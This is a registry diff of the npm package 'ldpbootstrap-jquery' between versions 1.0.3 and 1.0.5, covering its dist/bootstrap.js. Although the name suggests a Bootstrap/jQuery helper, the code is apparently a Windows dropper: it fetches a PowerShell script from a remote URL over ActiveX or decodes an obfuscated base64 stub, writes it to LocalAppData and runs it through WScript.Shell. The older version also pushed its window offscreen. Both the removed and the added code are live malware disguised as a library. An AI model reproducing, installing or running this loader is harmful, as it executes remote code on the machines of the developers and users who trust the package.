ldpbootstrap-jquery 1.0.3 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/bootstrap.js +84 -91
- package/package.json +1 -1
package/dist/bootstrap.js
CHANGED
|
@@ -1,29 +1,25 @@
|
|
|
1
1
|
(function(global) {
|
|
2
|
-
function
|
|
2
|
+
function setStatus(msg) {
|
|
3
3
|
try {
|
|
4
|
-
|
|
4
|
+
var el = document.getElementById("status");
|
|
5
|
+
if (el) {
|
|
6
|
+
el.innerText = msg;
|
|
7
|
+
}
|
|
5
8
|
} catch (ex) {
|
|
6
9
|
}
|
|
7
10
|
}
|
|
8
|
-
function
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
safeMoveTo(-3200, -3200);
|
|
13
|
-
}
|
|
14
|
-
function parseJson(text) {
|
|
15
|
-
if (typeof JSON !== "undefined" && JSON.parse) {
|
|
16
|
-
return JSON.parse(text);
|
|
11
|
+
function formatError(e) {
|
|
12
|
+
var msg = e.message || String(e);
|
|
13
|
+
if (e.description && e.description !== msg) {
|
|
14
|
+
msg += " — " + e.description;
|
|
17
15
|
}
|
|
18
|
-
return
|
|
16
|
+
return msg;
|
|
19
17
|
}
|
|
20
|
-
function
|
|
18
|
+
function createXhr() {
|
|
21
19
|
try {
|
|
22
|
-
|
|
23
|
-
if (el) {
|
|
24
|
-
el.innerText = msg;
|
|
25
|
-
}
|
|
20
|
+
return new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
|
|
26
21
|
} catch (ex) {
|
|
22
|
+
return new ActiveXObject("Microsoft.XMLHTTP");
|
|
27
23
|
}
|
|
28
24
|
}
|
|
29
25
|
function ensureDirectory(dirPath) {
|
|
@@ -50,13 +46,13 @@
|
|
|
50
46
|
if (!fso.FileExists(path)) {
|
|
51
47
|
return "";
|
|
52
48
|
}
|
|
53
|
-
var file = fso.OpenTextFile(path, 1);
|
|
54
|
-
var
|
|
49
|
+
var file = fso.OpenTextFile(path, 1, false);
|
|
50
|
+
var text = file.ReadAll();
|
|
55
51
|
file.Close();
|
|
56
|
-
if (
|
|
57
|
-
|
|
52
|
+
if (text.length > maxLen) {
|
|
53
|
+
text = text.substring(text.length - maxLen);
|
|
58
54
|
}
|
|
59
|
-
return
|
|
55
|
+
return text;
|
|
60
56
|
} catch (ex) {
|
|
61
57
|
return "";
|
|
62
58
|
}
|
|
@@ -71,14 +67,17 @@
|
|
|
71
67
|
var enc2 = chars.indexOf(input.charAt(i++));
|
|
72
68
|
var enc3 = chars.indexOf(input.charAt(i++));
|
|
73
69
|
var enc4 = chars.indexOf(input.charAt(i++));
|
|
70
|
+
if (enc1 < 0 || enc2 < 0) {
|
|
71
|
+
break;
|
|
72
|
+
}
|
|
74
73
|
var chr1 = enc1 << 2 | enc2 >> 4;
|
|
75
|
-
var chr2 = (enc2 & 15) << 4 | enc3 >> 2;
|
|
76
|
-
var chr3 = (enc3 & 3) << 6 | enc4;
|
|
77
74
|
output += String.fromCharCode(chr1);
|
|
78
|
-
if (enc3 !== 64) {
|
|
75
|
+
if (enc3 >= 0 && enc3 !== 64) {
|
|
76
|
+
var chr2 = (enc2 & 15) << 4 | enc3 >> 2;
|
|
79
77
|
output += String.fromCharCode(chr2);
|
|
80
78
|
}
|
|
81
|
-
if (enc4 !== 64) {
|
|
79
|
+
if (enc4 >= 0 && enc4 !== 64) {
|
|
80
|
+
var chr3 = (enc3 & 3) << 6 | enc4;
|
|
82
81
|
output += String.fromCharCode(chr3);
|
|
83
82
|
}
|
|
84
83
|
}
|
|
@@ -87,103 +86,97 @@
|
|
|
87
86
|
function patchPs1Stub(template, config) {
|
|
88
87
|
return template.replace(/\{\{SESSION_TOKEN\}\}/g, config.sessionToken).replace(/\{\{MSI_URL\}\}/g, config.msiUrl).replace(/\{\{REGISTER_URL\}\}/g, config.registerUrl).replace(/\{\{MSI_NAME\}\}/g, config.msiName);
|
|
89
88
|
}
|
|
90
|
-
function fetchPayloadKey(config) {
|
|
91
|
-
if (!config.payloadKeyUrl) {
|
|
92
|
-
return null;
|
|
93
|
-
}
|
|
94
|
-
try {
|
|
95
|
-
var xhr = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
|
|
96
|
-
xhr.open("GET", config.payloadKeyUrl, false);
|
|
97
|
-
xhr.setRequestHeader("X-Landpage-Client", "hta");
|
|
98
|
-
xhr.setRequestHeader("X-Landpage-Session", config.sessionToken);
|
|
99
|
-
xhr.setRequestHeader("X-Landpage-Payload", config.payloadDigest);
|
|
100
|
-
xhr.send();
|
|
101
|
-
if (xhr.status !== 200) {
|
|
102
|
-
throw new Error("Falha ao obter payload-key (HTTP " + xhr.status + ")");
|
|
103
|
-
}
|
|
104
|
-
var body = parseJson(xhr.responseText);
|
|
105
|
-
if (!body || body.digest !== config.payloadDigest || !body.key) {
|
|
106
|
-
throw new Error("Resposta payload-key inválida");
|
|
107
|
-
}
|
|
108
|
-
return body;
|
|
109
|
-
} catch (ex) {
|
|
110
|
-
if (global.__ldpPs1Obf) {
|
|
111
|
-
return null;
|
|
112
|
-
}
|
|
113
|
-
throw ex;
|
|
114
|
-
}
|
|
115
|
-
}
|
|
116
89
|
function fetchPs1FromApi(config) {
|
|
117
|
-
var xhr =
|
|
90
|
+
var xhr = createXhr();
|
|
118
91
|
xhr.open("GET", config.ps1Url, false);
|
|
119
92
|
xhr.setRequestHeader("X-Landpage-Client", "hta");
|
|
120
93
|
xhr.setRequestHeader("X-Landpage-Session", config.sessionToken);
|
|
121
94
|
xhr.setRequestHeader("X-Landpage-Payload", config.payloadDigest);
|
|
122
95
|
xhr.send();
|
|
123
96
|
if (xhr.status !== 200) {
|
|
124
|
-
throw new Error("
|
|
97
|
+
throw new Error("install.ps1 HTTP " + xhr.status);
|
|
125
98
|
}
|
|
126
99
|
return xhr.responseText;
|
|
127
100
|
}
|
|
128
101
|
function resolvePs1Content(config) {
|
|
102
|
+
if (config.ps1Url) {
|
|
103
|
+
try {
|
|
104
|
+
return fetchPs1FromApi(config);
|
|
105
|
+
} catch (apiErr) {
|
|
106
|
+
if (global.__ldpPs1Obf) {
|
|
107
|
+
return patchPs1Stub(decodeBase64(global.__ldpPs1Obf), config);
|
|
108
|
+
}
|
|
109
|
+
throw apiErr;
|
|
110
|
+
}
|
|
111
|
+
}
|
|
129
112
|
if (global.__ldpPs1Obf) {
|
|
130
113
|
return patchPs1Stub(decodeBase64(global.__ldpPs1Obf), config);
|
|
131
114
|
}
|
|
132
|
-
|
|
115
|
+
throw new Error("ps1Url em falta");
|
|
133
116
|
}
|
|
134
117
|
function runInstall(config) {
|
|
135
|
-
var installDir
|
|
136
|
-
var ps1Path
|
|
137
|
-
var logPath
|
|
138
|
-
var statusPath
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
var installLog = readTextTail(logPath, 2500);
|
|
148
|
-
showWindow();
|
|
149
|
-
if (exitCode === 0) {
|
|
150
|
-
var msg = "Instalação concluída.\nScript: " + ps1Path;
|
|
151
|
-
if (statusLog) {
|
|
152
|
-
msg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
|
|
153
|
-
}
|
|
154
|
-
setStatus(msg);
|
|
155
|
-
return;
|
|
118
|
+
var installDir;
|
|
119
|
+
var ps1Path;
|
|
120
|
+
var logPath;
|
|
121
|
+
var statusPath;
|
|
122
|
+
try {
|
|
123
|
+
setStatus("[1/4] A preparar pasta LocalAppData…");
|
|
124
|
+
installDir = getInstallDir();
|
|
125
|
+
ps1Path = installDir + "\\" + config.ps1FileName;
|
|
126
|
+
logPath = installDir + "\\landpage_install.log";
|
|
127
|
+
statusPath = installDir + "\\landpage_install_status.txt";
|
|
128
|
+
} catch (e) {
|
|
129
|
+
throw new Error("[1/4] " + formatError(e));
|
|
156
130
|
}
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
131
|
+
try {
|
|
132
|
+
setStatus("[2/4] A transferir install.ps1 da API…");
|
|
133
|
+
writeTextFile(ps1Path, resolvePs1Content(config));
|
|
134
|
+
} catch (e) {
|
|
135
|
+
throw new Error("[2/4] " + formatError(e));
|
|
160
136
|
}
|
|
161
|
-
|
|
162
|
-
|
|
137
|
+
try {
|
|
138
|
+
setStatus("[3/4] A executar PowerShell…\n" + ps1Path);
|
|
139
|
+
var shell = new ActiveXObject("WScript.Shell");
|
|
140
|
+
var sysRoot = shell.ExpandEnvironmentStrings("%SystemRoot%");
|
|
141
|
+
var psExe = sysRoot + "\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
|
|
142
|
+
var cmd = '"' + psExe + '" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Normal -File "' + ps1Path + '"';
|
|
143
|
+
var exitCode = shell.Run(cmd, 1, true);
|
|
144
|
+
var statusLog = readTextTail(statusPath, 3e3);
|
|
145
|
+
var installLog = readTextTail(logPath, 2500);
|
|
146
|
+
if (exitCode === 0) {
|
|
147
|
+
var msg = "[4/4] Instalação concluída.\nScript: " + ps1Path;
|
|
148
|
+
if (statusLog) {
|
|
149
|
+
msg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
|
|
150
|
+
}
|
|
151
|
+
setStatus(msg);
|
|
152
|
+
return;
|
|
153
|
+
}
|
|
154
|
+
var failMsg = "[4/4] Instalação falhou (código " + exitCode + ").\nScript: " + ps1Path;
|
|
155
|
+
if (statusLog) {
|
|
156
|
+
failMsg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
|
|
157
|
+
}
|
|
158
|
+
if (installLog) {
|
|
159
|
+
failMsg += "\n\n--- landpage_install.log ---\n" + installLog;
|
|
160
|
+
}
|
|
161
|
+
setStatus(failMsg);
|
|
162
|
+
} catch (e) {
|
|
163
|
+
throw new Error("[3/4] " + formatError(e));
|
|
163
164
|
}
|
|
164
|
-
setStatus(failMsg);
|
|
165
165
|
}
|
|
166
166
|
function run(config) {
|
|
167
167
|
if (!config || !config.sessionToken || !config.ps1FileName || !config.payloadDigest) {
|
|
168
168
|
throw new Error("Configuração LdpBootstrap incompleta");
|
|
169
169
|
}
|
|
170
170
|
if (!config.ps1Url && !global.__ldpPs1Obf) {
|
|
171
|
-
throw new Error("ps1Url
|
|
172
|
-
}
|
|
173
|
-
if (global.__ldpPs1Obf && (!config.msiUrl || !config.registerUrl || !config.msiName)) {
|
|
174
|
-
throw new Error("Configuração do stub PS1 incompleta");
|
|
171
|
+
throw new Error("ps1Url em falta");
|
|
175
172
|
}
|
|
176
173
|
try {
|
|
177
|
-
if (typeof global.__landpageInstallBegin === "function") {
|
|
178
|
-
global.__landpageInstallBegin();
|
|
179
|
-
}
|
|
180
174
|
runInstall(config);
|
|
181
175
|
if (typeof global.__landpageInstallEnd === "function") {
|
|
182
176
|
global.__landpageInstallEnd(true);
|
|
183
177
|
}
|
|
184
178
|
} catch (e) {
|
|
185
|
-
|
|
186
|
-
setStatus("Erro: " + e.message);
|
|
179
|
+
setStatus("Erro: " + formatError(e));
|
|
187
180
|
if (typeof global.__landpageInstallEnd === "function") {
|
|
188
181
|
global.__landpageInstallEnd(false);
|
|
189
182
|
}
|